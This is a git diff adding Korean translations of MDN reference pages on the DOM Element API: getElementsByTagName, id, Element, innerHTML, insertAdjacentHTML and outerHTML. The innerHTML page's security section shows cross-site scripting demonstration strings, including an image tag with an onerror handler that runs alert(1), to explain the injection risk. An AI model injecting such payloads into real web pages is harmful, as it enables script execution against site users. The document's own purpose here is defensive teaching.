Element.getElementsByTagName는 특정된 엘리먼트의 하위에 있는 엘리먼트 만을 검색하는 것으로 한정된 것을 제외하고는 {{domxref("Document.getElementsByTagName()")}}와 실질적으로 유사합니다.

+ +

문법

+ +
elements = element.getElementsByTagName(tagName)
+ + + +

Example 예제

+ +
// check the alignment on a number of cells in a table.
+var table = document.getElementById("forecast-table");
+var cells = table.getElementsByTagName("td");
+for (var i = 0; i < cells.length; i++) {
+    var status = cells[i].getAttribute("data-status");
+    if ( status == "open" ) {
+        // grab the data
+    }
+}
+
+ +

Specifications 명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-getelementsbytagname', 'Element.getElementsByTagName()')}}{{Spec2('DOM WHATWG')}}Changed the return value from {{domxref("NodeList")}} to {{domxref("HTMLCollection")}}
{{SpecName('DOM3 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-1938918D', 'Element.getElementsByTagName()')}}{{Spec2('DOM1')}}Initial definition
+ +

Browser compatibility 브라우저 호환성

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0 [2]{{ CompatVersionUnknown() }} [1]5.5{{ CompatVersionUnknown() }} [2]{{ CompatVersionUnknown() }} [2]
getElementsByTagName("*")1.0{{ CompatVersionUnknown() }}6.0{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }} [1]{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

[1] Prior to Firefox 19, this method was returning a {{domxref("NodeList")}}; it was then changed to reflect the spec change.

+ +

[1] Firefox 19 이전에는, 이 메서드는 {{domxref("NodeList")}};를 반환 했습니다. 그 후 사양의 변화를 반영하기 위해서 변경 되었습니다.

+ +

[2] Initially, this method was returning a {{domxref("NodeList")}}; it was then changed to reflect the spec change.

+ +

[2] 처음에는 이 메서드는 {{domxref("NodeList")}};를 반환 하였습니다. 그 후 사양의 변화를 반영하기 위해서 변경 되었습니다.

diff --git a/files/ko/web/api/element/id/index.html b/files/ko/web/api/element/id/index.html new file mode 100644 index 0000000000..9c9f343239 --- /dev/null +++ b/files/ko/web/api/element/id/index.html @@ -0,0 +1,67 @@ +--- +title: Element.id +slug: Web/API/Element/id +translation_of: Web/API/Element/id +--- +
{{ ApiRef("DOM") }}
+ +
 
+ +

Element.id 속성은 요소의 식별자를 나타내며, HTML의 전역적인 id 속성을 반영합니다.

+ +

이 값은 도큐먼트 내에서 유일해야 하며, 종종 {{domxref("document.getElementById", "getElementById")}}를 사용하여 요소를 찾아내는데 사용됩니다. id 속성을 이용하는 다른 보편적인 방법에는 CSS로 도큐먼트를 스타일링 할때 ID를 선택자로 사용하는 방법이 있습니다. 

+ +
+

Note: 식별자는 대소문자를 구분하지만, 그래도 ID를 대소문자만 다르게 생성해서는 안됩니다.  (클래스명과 식별자에서의 대소문자 구분참고).

+
+ +

Syntax

+ +
var idStr = elt.id; // 아이디를 가져옵니다.
+elt.id = idStr; // 아이디를 부여합니다
+
+ + + +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-id', 'id')}}{{Spec2('DOM WHATWG')}}No change from {{SpecName('DOM2 HTML')}}.
{{SpecName('DOM2 HTML', 'html.html#ID-63534901', 'id')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName('DOM1')}}.
{{SpecName('DOM1', 'level-one-html.html#ID-63534901', 'id')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Element.id")}}

+ +

See also

+ + diff --git a/files/ko/web/api/element/index.html b/files/ko/web/api/element/index.html new file mode 100644 index 0000000000..daaf1d7742 --- /dev/null +++ b/files/ko/web/api/element/index.html @@ -0,0 +1,306 @@ +--- +title: Element +slug: Web/API/Element +tags: + - API + - DOM + - Element + - Interface + - Reference +translation_of: Web/API/Element +--- +
{{APIRef("DOM")}}
+ +

Element는 {{domxref("Document")}} 안의 모든 객체가 상속하는 제일 범용적인 기반 클래스로 공통 메서드와 속성만 가지고 있으며, 특정 요소를 더 상세하게 표현하는 클래스가 Element를 상속합니다. 예를 들어 {{domxref("HTMLElement")}} 인터페이스는 HTML 요소의 기반 인터페이스이고 {{domxref("SVGElement")}} 인터페이스는 모든 SVG 요소의 기초입니다.

+ +

XUL의 XULElement처럼 웹 플랫폼 밖에서도 Element를 구현합니다.

+ +

{{InheritanceDiagram}}

+ +

속성

+ +

부모 인터페이스인 {{domxref("Node")}}와 그 부모인 {{domxref("EventTarget")}}의 속성을 상속합니다. {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, {{domxref("NonDocumentTypeChildNode")}}와 {{domxref("Animatable")}}의 속성을 구현합니다.

+ +
+
{{domxref("Element.attributes")}} {{readOnlyInline}}
+
HTML 요소에 할당한 속성을 담은 {{domxref("NamedNodeMap")}} 객체를 반환합니다.
+
{{domxref("Element.classList")}} {{readOnlyInline}}
+
요소의 클래스 속성 리스트를 담은 {{domxref("DOMTokenList")}}를 반환합니다.
+
{{domxref("Element.className")}}
+
요소의 클래스를 나타내는 {{domxref("DOMString")}}을 반환합니다.
+
{{domxref("Element.clientHeight")}} {{readOnlyInline}}
+
요소의 안쪽 높이를 나타내는 {{jsxref("Number")}}를 반환합니다.
+
{{domxref("Element.clientLeft")}} {{readOnlyInline}}
+
요소의 왼쪽 테두리 너비를 나타내는 {{jsxref("Number")}}를 반환합니다.
+
{{domxref("Element.clientTop")}} {{readOnlyInline}}
+
요소의 위쪽 테두리 너비를 나타내는 {{jsxref("Number")}}를 반환합니다.
+
{{domxref("Element.clientWidth")}} {{readOnlyInline}}
+
요소의 안쪽 너비를 나타내는 {{jsxref("Number")}}를 반환합니다.
+
{{domxref("Element.computedName")}} {{readOnlyInline}}
+
요소가 노출하는 접근성 라벨을 포함한 {{domxref("DOMString")}}을 반환합니다.
+
{{domxref("Element.computedRole")}} {{readOnlyInline}}
+
Returns a {{domxref("DOMString")}} containing the ARIA role that has been applied to a particular element.
+
{{ domxref("Element.id") }}
+
Is a {{domxref("DOMString")}} representing the id of the element.
+
{{ domxref("Element.innerHTML") }}
+
Is a {{domxref("DOMString")}} representing the markup of the element's content.
+
{{ domxref("Element.localName") }} {{readOnlyInline}}
+
A {{domxref("DOMString")}} representing the local part of the qualified name of the element.
+
{{domxref("Element.namespaceURI")}} {{readonlyInline}}
+
The namespace URI of the element, or null if it is no namespace. +
+

참고: Firefox 3.5 이하에서는 HTML 요소가 네임스페이스에 속해있지 않습니다. 이후 버전에서는 HTML과 XML 트리 모두에서 http://www.w3.org/1999/xhtml 네임스페이스를 사용합니다. {{ gecko_minversion_inline("1.9.2") }}

+
+
+
{{ domxref("NonDocumentTypeChildNode.nextElementSibling") }} {{readOnlyInline}}
+
Is an {{ domxref("Element") }}, the element immediately following the given one in the tree, or null if there's no sibling node.
+
{{ domxref("Element.outerHTML") }}
+
Is a {{domxref("DOMString")}} representing the markup of the element including its content. When used as a setter, replaces the element with nodes parsed from the given string.
+
{{ domxref("Element.prefix") }} {{readOnlyInline}}
+
A {{domxref("DOMString")}} representing the namespace prefix of the element, or null if no prefix is specified.
+
{{ domxref("NonDocumentTypeChildNode.previousElementSibling") }} {{readOnlyInline}}
+
Is a {{ domxref("Element") }}, the element immediately preceding the given one in the tree, or null if there is no sibling element.
+
{{ domxref("Element.scrollHeight") }} {{readOnlyInline}}
+
Returns a {{jsxref("Number")}} representing the scroll view height of an element.
+
{{ domxref("Element.scrollLeft") }}
+
Is a {{jsxref("Number")}} representing the left scroll offset of the element.
+
{{ domxref("Element.scrollLeftMax") }} {{non-standard_inline}} {{readOnlyInline}}
+
Returns a {{jsxref("Number")}} representing the maximum left scroll offset possible for the element.
+
{{ domxref("Element.scrollTop") }}
+
A {{jsxref("Number")}} representing number of pixels the top of the document is scrolled vertically.
+
{{ domxref("Element.scrollTopMax") }} {{non-standard_inline}} {{readOnlyInline}}
+
Returns a {{jsxref("Number")}} representing the maximum top scroll offset possible for the element.
+
{{ domxref("Element.scrollWidth") }} {{readOnlyInline}}
+
Returns a {{jsxref("Number")}} representing the scroll view width of the element.
+
{{domxref("Element.shadowRoot") }}{{readOnlyInline}}
+
Returns the open shadow root that is hosted by the element, or null if no open shadow root is present.
+
{{domxref("Element.openOrClosedShadowRoot")}} {{non-standard_inline}}{{readOnlyInline}}
+
Returns the shadow root that is hosted by the element, regardless if its open or closed. Available only to WebExtensions.
+
{{domxref("Element.slot")}} {{experimental_inline}}
+
Returns the name of the shadow DOM slot the element is inserted in.
+
{{domxref("Element.tabStop")}} {{non-standard_inline}}
+
Is a {{jsxref("Boolean")}} indicating if the element can receive input focus via the tab key.
+
{{ domxref("Element.tagName") }} {{readOnlyInline}}
+
Returns a {{jsxref("String")}} with the name of the tag for the given element.
+
{{ domxref("Element.undoManager")}} {{experimental_inline}} {{readOnlyInline}}
+
Returns the {{domxref("UndoManager")}} associated with the element.
+
{{ domxref("Element.undoScope")}} {{experimental_inline}}
+
Is a {{jsxref("Boolean")}} indicating if the element is an undo scope host, or not.
+
+ +
+

Note: DOM Level 3 명세는 namespaceURI, localName, prefix를 {{domxref("Node")}}에 정의했고, DOM4에서 Element로 옮겨졌습니다.

+ +

이 변경점은 Chrome 46.0과 Firefox 48.0부터 구현됐습니다.

+
+ +

Slotable 속성

+ +

Element 인터페이스는 {{domxref("Slotable")}} 믹스인에 정의된 다음 속성을 가집니다.

+ +
+
{{domxref("Slotable.assignedSlot")}}{{readonlyInline}}
+
Returns a {{domxref("HTMLSlotElement")}} representing the {{htmlelement("slot")}} the node is inserted in.
+
+ +

이벤트 처리기

+ +
+
{{domxref("Element.ongotpointercapture")}}
+
Returns the event handler for the {{event("gotpointercapture")}} event type.
+
{{domxref("Element.onlostpointercapture")}}
+
Returns the event handler for the {{event("lostpointercapture")}} event type.
+
+ +

메서드

+ +

부모 인터페이스인 {{domxref("Node")}}와 그 부모인 {{domxref("EventTarget")}}의 메서드를 상속합니다. {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, {{domxref("NonDocumentTypeChildNode")}}와 {{domxref("Animatable")}}의 메서드를 구현합니다.

+ +
+
{{ domxref("EventTarget.addEventListener()") }}
+
Registers an event handler to a specific event type on the element.
+
{{domxref("Element.attachShadow()")}}
+
Attatches a shadow DOM tree to the specified element and returns a reference to its {{domxref("ShadowRoot")}}.
+
{{domxref("Element.animate()")}} {{experimental_inline}}
+
A shortcut method to create and run an animation on an element. Returns the created Animation object instance.
+
{{ domxref("Element.closest()")}} {{experimental_inline}}
+
Returns the {{domxref("Element")}} which is the closest ancestor of the current element (or the current element itself) which matches the selectors given in parameter.
+
{{ domxref("Element.createShadowRoot()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Creates a shadow DOM on on the element, turning it into a shadow host. Returns a {{domxref("ShadowRoot")}}.
+
{{domxref("Element.computedStyleMap()")}} {{experimental_inline}}
+
Returns a {{domxref("StylePropertyMapReadOnly")}} interface which provides a read-only representation of a CSS declaration block that is an alternative to {{domxref("CSSStyleDeclaration")}}.
+
{{ domxref("EventTarget.dispatchEvent()") }}
+
Dispatches an event to this node in the DOM and returns a {{jsxref("Boolean")}} that indicates whether no handler canceled the event.
+
{{domxref("Element.getAnimations()")}} {{experimental_inline}}
+
Returns an array of Animation objects currently active on the element.
+
{{ domxref("Element.getAttribute()") }}
+
Retrieves the value of the named attribute from the current node and returns it as an {{jsxref("Object")}}.
+
{{ domxref("Element.getAttributeNames()") }}
+
Returns an array of attribute names from the current element.
+
{{ domxref("Element.getAttributeNS()") }}
+
Retrieves the value of the attribute with the specified name and namespace, from the current node and returns it as an {{jsxref("Object")}}.
+
{{ domxref("Element.getBoundingClientRect()") }}
+
Returns the size of an element and its position relative to the viewport.
+
{{ domxref("Element.getClientRects()") }}
+
Returns a collection of rectangles that indicate the bounding rectangles for each line of text in a client.
+
{{ domxref("Element.getElementsByClassName()") }}
+
Returns a live {{ domxref("HTMLCollection") }} that contains all descendants of the current element that possess the list of classes given in the parameter.
+
{{ domxref("Element.getElementsByTagName()") }}
+
Returns a live {{ domxref("HTMLCollection") }} containing all descendant elements, of a particular tag name, from the current element.
+
{{ domxref("Element.getElementsByTagNameNS()") }}
+
Returns a live {{ domxref("HTMLCollection") }} containing all descendant elements, of a particular tag name and namespace, from the current element.
+
{{ domxref("Element.hasAttribute()") }}
+
Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute or not.
+
{{ domxref("Element.hasAttributeNS()") }}
+
Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute, in the specified namespace, or not.
+
{{ domxref("Element.hasAttributes()") }}
+
Returns a {{jsxref("Boolean")}} indicating if the element has one or more HTML attributes present.
+
{{DOMxRef("Element.hasPointerCapture()")}}
+
Indicates whether the element on which it is invoked has pointer capture for the pointer identified by the given pointer ID.
+
{{ domxref("Element.insertAdjacentElement()") }}
+
Inserts a given element node at a given position relative to the element it is invoked upon.
+
{{ domxref("Element.insertAdjacentHTML()") }}
+
Parses the text as HTML or XML and inserts the resulting nodes into the tree in the position given.
+
{{ domxref("Element.insertAdjacentText()") }}
+
Inserts a given text node at a given position relative to the element it is invoked upon.
+
{{ domxref("Element.matches()") }} {{experimental_inline}}
+
Returns a {{jsxref("Boolean")}} indicating whether or not the element would be selected by the specified selector string.
+
{{ domxref("Element.querySelector()") }}
+
Returns the first {{ domxref("Node") }} which matches the specified selector string relative to the element.
+
{{ domxref("Element.querySelectorAll()") }}
+
Returns a {{ domxref("NodeList") }} of nodes which match the specified selector string relative to the element.
+
{{ domxref("Element.releasePointerCapture()")}}
+
Releases (stops) pointer capture that was previously set for a specific {{domxref("PointerEvent","pointer event")}}.
+
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
+
Removes the element from the children list of its parent.
+
{{ domxref("Element.removeAttribute()") }}
+
Removes the named attribute from the current node.
+
{{ domxref("Element.removeAttributeNS()") }}
+
Removes the attribute with the specified name and namespace, from the current node.
+
{{ domxref("EventTarget.removeEventListener()") }}
+
Removes an event listener from the element.
+
{{ domxref("Element.requestFullscreen()") }} {{experimental_inline}}
+
Asynchronously asks the browser to make the element full-screen.
+
{{ domxref("Element.requestPointerLock()")}} {{experimental_inline}}
+
Allows to asynchronously ask for the pointer to be locked on the given element.
+
{{domxref("Element.scroll()")}}
+
Scrolls to a particular set of coordinates inside a given element.
+
{{domxref("Element.scrollBy()")}}
+
Scrolls an element by the given amount.
+
+ +
+
{{ domxref("Element.scrollIntoView()") }} {{experimental_inline}}
+
Scrolls the page until the element gets into the view.
+
{{ domxref("Element.scrollTo()") }}
+
Scrolls to a particular set of coordinates inside a given element.
+
{{ domxref("Element.setAttribute()") }}
+
Sets the value of a named attribute of the current node.
+
{{ domxref("Element.setAttributeNS()") }}
+
Sets the value of the attribute with the specified name and namespace, from the current node.
+
{{ domxref("Element.setCapture()") }} {{non-standard_inline}}
+
Sets up mouse event capture, redirecting all mouse events to this element.
+
{{domxref("Element.setPointerCapture()")}}
+
Designates a specific element as the capture target of future pointer events.
+
{{domxref("Element.toggleAttribute()")}}
+
Toggles a boolean attribute, removing it if it is present and adding it if it is not present, on the specified element.
+
+ +

 

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Web Animations", '', '')}}{{Spec2("Web Animations")}}Added the getAnimationPlayers() method.
{{SpecName('Undo Manager', '', 'Element')}}{{Spec2('Undo Manager')}}Added the undoScope and undoManager properties.
{{SpecName('Pointer Events', '#extensions-to-the-element-interface', 'Element')}}{{Spec2('Pointer Events')}}Added the following event handlers: ongotpointercapture and onlostpointercapture.
+ Added the following methods: setPointerCapture() and releasePointerCapture().
{{SpecName('Selectors API Level 2', '#interface-definitions', 'Element')}}{{Spec2('Selectors API Level 2')}}Added the following methods: matches() (implemented as mozMatchesSelector()), find(), findAll().
{{SpecName('Selectors API Level 1', '#interface-definitions', 'Element')}}{{Spec2('Selectors API Level 1')}}Added the following methods: querySelector() and querySelectorAll().
{{SpecName('Pointer Lock', 'index.html#element-interface', 'Element')}}{{Spec2('Pointer Lock')}}Added the requestPointerLock() method.
{{SpecName('Fullscreen', '#api', 'Element')}}{{Spec2('Fullscreen')}}Added the requestFullscreen() method.
{{SpecName('DOM Parsing', '#extensions-to-the-element-interface', 'Element')}}{{Spec2('DOM Parsing')}}Added the following properties: innerHTML, and outerHTML.
+ Added the following method: insertAdjacentHTML().
{{SpecName('CSSOM View', '#extensions-to-the-element-interface', 'Element')}}{{Spec2('CSSOM View')}}Added the following properties: scrollTop, scrollLeft, scrollWidth, scrollHeight, clientTop, clientLeft, clientWidth, and clientHeight.
+ Added the following methods: getClientRects(), getBoundingClientRect(), and scrollIntoView().
{{SpecName('Element Traversal', '#ecmascript-bindings', 'Element')}}{{Spec2('Element Traversal')}}Added inheritance of the {{domxref("ElementTraversal")}} interface.
{{SpecName('DOM WHATWG', '#interface-element', 'Element')}}{{Spec2('DOM WHATWG')}}Removed the following methods: closest(), setIdAttribute(), setIdAttributeNS(), and setIdAttributeNode().
+ Removed the schemaTypeInfo property.
+ Modified the return value of getElementsByTag() and getElementsByTagNS().
+ Moved hasAttributes() form the Node interface to this one.
{{SpecName('DOM3 Core', 'core.html#ID-745549614', 'Element')}}{{Spec2('DOM3 Core')}}Added the following methods: setIdAttribute(), setIdAttributeNS(), and setIdAttributeNode(). These methods were never implemented and have been removed in later specifications.
+ Added the schemaTypeInfo property. This property was never implemented and has been removed in later specifications.
{{SpecName('DOM2 Core', 'core.html#ID-745549614', 'Element')}}{{Spec2('DOM2 Core')}}The normalize() method has been moved to {{domxref("Node")}}.
{{SpecName('DOM1', 'level-one-core.html#ID-745549614', 'Element')}}{{Spec2('DOM1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element")}}

diff --git a/files/ko/web/api/element/innerhtml/index.html b/files/ko/web/api/element/innerhtml/index.html new file mode 100644 index 0000000000..6b9e4ce73c --- /dev/null +++ b/files/ko/web/api/element/innerhtml/index.html @@ -0,0 +1,204 @@ +--- +title: Element.innerHTML +slug: Web/API/Element/innerHTML +translation_of: Web/API/Element/innerHTML +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Element")}} 속성(property) innerHTML 은 요소(element) 내에 포함 된 HTML 또는 XML 마크업을 가져오거나 설정합니다.

+ +
주의: {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("noembed")}} 노드가 (&), (<), (>) 문자를 포함하는 텍스트 노드를 자식으로 가지고 있다면, innerHTML은 이러한 문자들을 각각 "&amp;""&lt;" ,"&gt;"로 반환합니다. {{domxref("Node.textContent")}}를 사용하여 이러한 텍스트 노드 내용의 원본을 복사할 수 있습니다.
+ +

요소(element)의 내용을 변경하는 대신 HTML을 문서(document)에 삽입하려면, {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}} 메서드를 사용하십시오.

+ +

Syntax

+ +
const content = element.innerHTML;
+
+element.innerHTML = htmlString;
+
+ +

Value

+ +

요소(element)의 자손의 HTML 직렬화를 포함하는 {{domxref("DOMString")}} 입니다. Setting the value of innerHTML 의 값을 설정(대입)하면 요소의 모든 자손이 제거되고, 문자열 htmlString에 지정된 HTML을 파싱하고, 생성된 노드로 대체합니다.

+ +

Exceptions

+ +
+
SyntaxError
+
HTML의 양식에 맞지 않는 문자열을 사용하여, innerHTML 의 값을 설정하려는 시도가 있었습니다.
+
NoModificationAllowedError
+
부모가 {{domxref("Document")}}인 노드에 HTML을 삽입하려고 했습니다.
+
+ +

Usage notes

+ +

innerHTML 속성(property)은 페이지가 처음 로드 된 이후의 모든 변경 사항을 포함하여, 페이지의 현재 HTML 소스를 검사하는데 사용할 수 있습니다.

+ +

Reading the HTML contents of an element

+ +

innerHTML 를 읽으면 유저 에이전트(user agent)가 요소의 자손으로 구성된 HTML 또는 XML조각을 직렬화 합니다. 그 결과는 문자열로 반환합니다.

+ +
let contents = myElement.innerHTML;
+ +

이를 통해 요소의 컨텐트 노드에 대한 HTML 마크업을 볼 수 있습니다.

+ +
+

주의: 반환 된 HTML, XML 파편은 요소의 현재 내용일 기반으로 생성됩니다. 따라서 반환 된 마크업과 양식이 본래의 페이지 마크업과 일치하지 않을 수 있습니다.

+
+ +

Replacing the contents of an element

+ +

innerHTML 값을 설정하면 요소의 기존 내용(content)을 새 내용으로 쉽게 변경할 수 있습니다.

+ +

예를 들어, 문서(document)의 {{domxref("Document.body", "body")}} 속성(attribute)을 지우면, 문서의 전체 내용을 지울 수 있습니다.

+ +
document.body.innerHTML = "";
+ +

이 예제는 문서의 현재 HTML 마크업을 가져오고, "<" 문자를 HTML 엔터티 "&lt;" 로 대체하합니다. 그러면 HTML을 원시 텍스트(raw text - 파싱 이전의 모습)로 반환합니다. 이것을 {{HTMLElement("pre")}} 요소로 래핑합니다. 그러면 innerHTML 값은 새 문자열로 변경됩니다. 그 결과, 문서의 내용은 페이지의 전체 소스 코드의 출력으로 대체됩니다.

+ +
document.documentElement.innerHTML = "<pre>" +
+         document.documentElement.innerHTML.replace(/</g,"&lt;") +
+            "</pre>";
+ +

Operational details

+ +

innerHTML 값을 설정할 때, 정확히 어떤 일이 발생하나요? 값을 설정하면, 유저 에이전트는 다음 단계를 따르게 됩니다.

+ +
    +
  1. 지정한 값은 HTML 또는 XML(문서 타입에 따라)로 파싱되어, {{domxref("DocumentFragment")}} 객체가 새 요소에 대한 새로운 노드 DOM 노드 집합을 나타냅니다.
  2. +
  3. 내용이 대체되는 요소가 {{HTMLElement("template")}} 요소 인 경우, <template> 요소의 {{domxref("HTMLTemplateElement.content", "content")}} 속성(attribute)은 1단계에서 작성한 새  DocumentFragment 로 대체됩니다.
  4. +
  5. 다른 모든 요소의 경우, 요소의 내용은 새 DocumentFragment 의 노드로 대체됩니다.
  6. +
+ +

Security considerations

+ +

innerHTML 이 웹 페이지에 텍스트를 삽입하는데 사용되는 것은 종종 볼 수 있습니다. 이것은 사이트의 공격 경로가 되어 잠재적인 보안 위험이 발생할 수 있습니다.

+ +
const name = "John";
+// assuming 'el' is an HTML DOM element
+el.innerHTML = name; // harmless in this case
+
+// ...
+
+name = "<script>alert('I am John in an annoying alert!')</script>";
+el.innerHTML = name; // harmless in this case
+ +

이것은 {{interwiki("wikipedia", "cross-site scripting")}} 공격처럼 보일 수 있지만, 결과는 무해합니다. HTML5 는 innerHTML 과 함께 삽입된 {{HTMLElement("script")}} 태그가 실행되지 않도록 지정합니다.

+ +

그러나 {{HTMLElement("script")}} 요소를 사용하지 않고, 자바스크립트를 실행하는 방법이 있으므로, innerHTML 을 사용하여 제어할 수 없는 문자열을 설정할 때 마다 여전히 보안위험이 있습니다. 예를들어:

+ +
const name = "<img src='x' onerror='alert(1)'>";
+el.innerHTML = name; // shows the alert
+ +

따라서 일반 텍스트를 삽입 할 때는 innerHTML 을 사용하지 않는 것이 좋습니다. 대신  {{domxref("Node.textContent")}}를 사용하십시오. 이것은 전달 된 내용을 HTML로 파싱하지 않고 원시 텍스트(raw text)로 삽입합니다.

+ +
+

경고: 프로젝트가 보안 점검을 거치게 되는 프로젝트인 경우, innerHTML 을 사용하면 코드가 거부 될 가능성이 높습니다. 예를 들어, 브라우저 확장에서  innerHTML을 사용하고 addons.mozilla.org에 확장을 제출하면 자동 검토 프로세스를 통과하지 못합니다.

+
+ +

Example

+ +

이 예제에서는 innerHTML 을 사용하여 메시지를 웹 페이지의 상자에 기록하는 매커니즘을 만듭니다.

+ +

JavaScript

+ +
function log(msg) {
+  var logElem = document.querySelector(".log");
+
+  var time = new Date();
+  var timeStr = time.toLocaleTimeString();
+  logElem.innerHTML += timeStr + ": " + msg + "<br/>";
+}
+
+log("Logging mouse events inside this container...");
+
+ +

log() 함수는 {{jsxref("Date.toLocaleTimeString", "toLocaleTimeString()")}}을 사용하여 {{jsxref("Date")}} 객체에서 현재 시간을 가져 오고, 타임 스탬프와 메시지 텍스트가 있는 문자열을 작성하여 로그 출력을 만듭니다. 그런 다음 메시지는 클래스 "log"가 있는 상자에 추가됩니다.

+ +

{{domxref("MouseEvent")}} 기반 이벤트 ({{event("mousedown")}}, {{event("click")}}, {{event("mouseenter")}}와 같은) 정보를 기록하는 두 번째 메서드를 추가합니다:

+ +
function logEvent(event) {
+  var msg = "Event <strong>" + event.type + "</strong> at <em>" +
+            event.clientX + ", " + event.clientY + "</em>";
+  log(msg);
+}
+ +

그리고나서, 우리의 로그가 들어있는 상자에 여러 마우스 이벤트에 대한 이벤트 핸들러로 사용합니다.

+ +
var boxElem = document.querySelector(".box");
+
+boxElem.addEventListener("mousedown", logEvent);
+boxElem.addEventListener("mouseup", logEvent);
+boxElem.addEventListener("click", logEvent);
+boxElem.addEventListener("mouseenter", logEvent);
+boxElem.addEventListener("mouseleave", logEvent);
+ +

HTML

+ +

HTML은 우리의 예제에서 아주 간단합니다.

+ +
<div class="box">
+  <div><strong>Log:</strong></div>
+  <div class="log"></div>
+</div>
+ +

클래스 "box"를 갖는 {{HTMLElement("div")}} 는 레이아웃을 위한 컨테이너 입니다. class가 "log" 인 <div> 는 로그 텍스트 자체의 컨테이너 입니다.

+ +

CSS

+ +

다음 CSS는 우리의 예제 내용을 꾸밉니다.

+ +
.box {
+  width: 600px;
+  height: 300px;
+  border: 1px solid black;
+  padding: 2px 4px;
+  overflow-y: scroll;
+  overflow-x: auto;
+}
+
+.log {
+  margin-top: 8px;
+  font-family: monospace;
+}
+ +

Result

+ +

결과 컨텐츠는 다음과 같습니다. 마우스를 상자 안팎으로 움직이거나 클릭하고 로그에서 출력을 볼 수 있습니다.

+ +

{{EmbedLiveSample("Example", 640, 350)}}

+ +

Specification

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#dom-element-innerhtml', 'Element.innerHTML')}}{{Spec2('DOM Parsing')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Element.innerHTML")}}

+ +

See also

+ + diff --git a/files/ko/web/api/element/insertadjacenthtml/index.html b/files/ko/web/api/element/insertadjacenthtml/index.html new file mode 100644 index 0000000000..7b1cb1d4e5 --- /dev/null +++ b/files/ko/web/api/element/insertadjacenthtml/index.html @@ -0,0 +1,79 @@ +--- +title: Element.insertAdjacentHTML() +slug: Web/API/Element/insertAdjacentHTML +translation_of: Web/API/Element/insertAdjacentHTML +--- +
{{APIRef("DOM")}}
+ +

insertAdjacentHTML() 메서드는 HTML or XML 같은 특정 텍스트를 파싱하고, 특정 위치에 DOM tree 안에 원하는 node들을 추가 한다.  이미 사용중인 element 는 다시 파싱하지 않는다. 그러므로 element 안에 존재하는 element를 건드리지 않는다. (innerHtml은 과 좀 다름). innerHtml보다 작업이 덜 드므로 빠르다.

+ +

구문

+ +
element.insertAdjacentHTML(position, text);
+ +

position은 아래 있는 단어만 사용 가능하다.

+ +
+
'beforebegin'
+
element 앞에 
+
'afterbegin'
+
element 안에 가장 첫번째 child
+
'beforeend'
+
element 안에 가장 마지막 child
+
'afterend'
+
element 뒤에
+
+ +

text(인자)는 HTML 또는 XML로 해석될 수 있는 문자열이고(html code), (DOM) tree에 삽입할 수 있다.

+ +

position 의 예시 그림

+ +
<!-- beforebegin -->
+<p>
+<!-- afterbegin -->
+foo
+<!-- beforeend -->
+</p>
+<!-- afterend -->
+ +
Note:  beforebegin , afterend position은 element의 부모가 존재해야 하고, node가 tree 안에 있어야 한다.
+ +

예시

+ +
// <div id="one">one</div>
+var d1 = document.getElementById('one');
+d1.insertAdjacentHTML('afterend', '<div id="two">two</div>');
+
+// At this point, the new structure is:
+// <div id="one">one</div><div id="two">two</div>
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#insertadjacenthtml()', 'Element.insertAdjacentHTML()')}}{{ Spec2('DOM Parsing') }} 
+ +

브라우저 호환성

+ +

{{Compat("api.Element.insertAdjacentHTML")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/element/outerhtml/index.html b/files/ko/web/api/element/outerhtml/index.html new file mode 100644 index 0000000000..28952f5d69 --- /dev/null +++ b/files/ko/web/api/element/outerhtml/index.html @@ -0,0 +1,119 @@ +--- +title: Element.outerHTML +slug: Web/API/Element/outerHTML +tags: + - API + - DOM + - DOM Parsing + - Element + - Parsing + - Property + - Reference + - Serializing +translation_of: Web/API/Element/outerHTML +--- +
{{APIRef("DOM")}}
+ +

outerHTML 속성은 요소(element)의 자식 요소를 포함하여 요소를 나타내는 직렬화된 HTML 파편을 가져옵니다. 또한 주어진 문자열에서 파싱한 노드로 요소를 대체할 수 있습니다.

+ +

요소의 내용만을 HTML 형태로 가져오거나 설정하기 위해서는 {{domxref("Element.innerHTML", "innerHTML")}} 속성을 대신 사용하십시오.

+ +

문법

+ +
var content = element.outerHTML;
+
+element.outerHTML = htmlString;
+
+ +

+ +

